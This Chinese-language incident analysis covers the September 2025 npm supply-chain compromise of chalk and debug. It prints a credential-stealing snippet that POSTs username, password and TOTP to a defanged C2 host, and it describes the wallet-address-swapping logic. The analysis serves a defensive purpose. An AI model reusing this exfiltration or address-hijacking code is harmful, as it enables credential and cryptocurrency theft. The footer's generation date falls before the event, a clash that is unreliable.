NPM供应链攻击技术分析:史上最大规模攻击仅获利5美分

概述

2025年9月8日,一名攻击者成功入侵了知名NPM包维护者 qix 的账户,包括 chalkdebug-js 等超人气软件包。这些软件包每周下载量超过20亿次,使其成为历史上规模最大的供应链攻击事件之一。然而,具有讽刺意味的是,攻击者仅窃取了约5美分的ETH和20美元的meme币。

攻击时间线

攻击时间线

攻击手法分析

1. 初始入侵:钓鱼攻击

攻击者通过精心设计的钓鱼邮件成功获取了维护者凭据:

钓鱼邮件特征:

  • 发件人:support@npmjs[.]help(伪装npm官方域名)
  • 域名解析:185.7.81.108
  • 钓鱼链接:https://www.npmjs[.]help/settings/qix/tfa/manageTfa?action=setup-totp

恶意资源加载:

  • CDN桶1:static-mw-host.b-cdn[.]net
  • CDN桶2:img-data-backup.b-cdn[.]net
  • C2服务器:websocket-api2.publicvm[.]com

2. 凭据窃取机制

钓鱼页面加载的恶意脚本执行以下操作:

// 伪代码示例
function stealCredentials() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    const totp = document.getElementById('totp').value;

    // 发送到C2服务器
    fetch('https://websocket-api2.publicvm[.]com/collect', {
        method: 'POST',
        body: JSON.stringify({ username, password, totp })
    });
}

3. 恶意包分析

攻击者入侵账户后,立即向所有包发布更新,嵌入了加密货币窃取器。

恶意代码特征:

  • 目标环境:仅针对浏览器环境(检查 window.ethereum
  • 非持久化:不读取文件系统,不安装传统恶意软件
  • Hook机制:拦截关键函数

技术细节深入分析

Ethereum攻击机制

恶意代码针对以太坊钱包的攻击策略:

Ethereum攻击机制

被Hook的函数:

  1. request - 基础请求方法
  2. send - 发送交易
  3. sendAsync - 异步发送
  4. fetch - HTTP请求
  5. XMLHttpRequest.prototype.open/send - AJAX请求

地址替换规则:

原始方法攻击行为
approve()替换spender地址
permit()替换spender地址
transfer()替换recipient地址
transferFrom()替换recipient地址
有value的交易替换整个目标地址
无data的交易替换整个目标地址

Solana攻击机制

对于Solana请求,攻击者采用破坏性策略:

  • 将所有recipient、destination和keys替换为 19111111111111111111111111111111
  • 这会导致交易失败,而非窃取资金

网络请求劫持

对于所有使用 fetchXMLHttpRequest 的网络请求:

// 使用Levenshtein距离算法进行地址替换
function findClosestAddress(originalAddress, hardcodedAddresses) {
    let minDistance = Infinity;
    let closestAddress = originalAddress;

    for (const addr of hardcodedAddresses) {
        const distance = levenshteinDistance(originalAddress, addr);
        if (distance < minDistance) {
            minDistance = distance;
            closestAddress = addr;
        }
    }

    return closestAddress;
}

攻击特点:

  • 拦截所有JSON响应
  • 查找类似加密地址的字符串模式
  • 使用编辑距离算法找到最接近的硬编码地址
  • 支持280个预加载的攻击地址

影响评估

攻击规模

指标数值
影响包数量所有qix发布的包
每周下载量> 20亿次
主要影响包chalk, debug-js
实际获利~0.05 USD + 20 USD meme币

为何攻击失败

  1. 环境限制:恶意代码仅设计用于浏览器环境
  2. CI/CD错误:未检查fetch是否存在,导致在Node.js环境中报错
  3. 检测迅速:安全团队快速响应
  4. 目标选择:加密货币钱包用户在开发者工具包用户中占比较小

检测与清除方法

维护者检测

# 1. 检查本地node_modules
grep -R 'checkethereumw' node_modules/

# 2. 检查npm缓存
# 使用phxgg提供的脚本
npm cache verify

# 3. 检查项目依赖
# 使用AndrewMohawk提供的扫描脚本

用户防护措施

  1. 交易验证:始终检查签名交易的地址
  2. 钱包安全:使用硬件钱包进行大额交易
  3. 依赖审计:使用 npm audit 检查异常依赖
  4. 版本锁定:使用 package-lock.json 锁定版本

攻击链路图

攻击链路

威胁指标 (IoCs)

域名与IP

  • npmjs[.]help
  • static-mw-host.b-cdn[.]net
  • img-data-backup.b-cdn[.]net
  • websocket-api2.publicvm[.]com
  • 185.7.81.108

加密货币地址 (部分列表)

BTC:

  • 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
  • 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd
  • (更多地址见原文IoC列表)

ETH:

  • 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976
  • 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
  • (更多地址见原文IoC列表)

经验教训与防护建议

对维护者

  1. 警惕钓鱼:仔细验证邮件发件人域名
  2. 启用硬件密钥:使用FIDO2/U2F替代TOTP
  3. 分离职责:不同包使用不同维护账户
  4. 监控发布:设置发布前的自动化检查

对用户

  1. 依赖审查:定期审计项目依赖
  2. 自动化扫描:集成SCA工具到CI/CD
  3. 网络隔离:开发环境与交易环境分离
  4. 及时更新:关注安全公告并快速响应

对平台

  1. 域名保护:监控并下放假冒域名
  2. 异常检测:检测大规模包更新行为
  3. 双重确认:对敏感操作要求额外验证
  4. 快速响应:建立应急响应机制

事件启示

此次事件具有讽刺意味的结局揭示了几个重要事实:

  1. 攻击不总是技术精湛:此次攻击依靠的是社会工程学而非复杂的技术漏洞
  2. 规模不等于收益:即使影响20亿次下载的攻击,实际收益也可能微乎其微
  3. 防御体系有效:快速的检测和响应限制了攻击的实际损害
  4. 经济动机变化:攻击者的目标从直接窃取转向可能的安全服务销售

参考资源

  • 原始报告:Security Alliance Radar
  • SEAL Framework: 交易签名与验证最佳实践
  • phxgg的npm缓存检查脚本
  • AndrewMohawk的项目扫描脚本

文档生成时间:2025年1月15日
分析来源:Security Alliance Radar - samczsun

最后修改:2026 年 01 月 15 日
如果觉得我的文章对你有用,请随意赞赏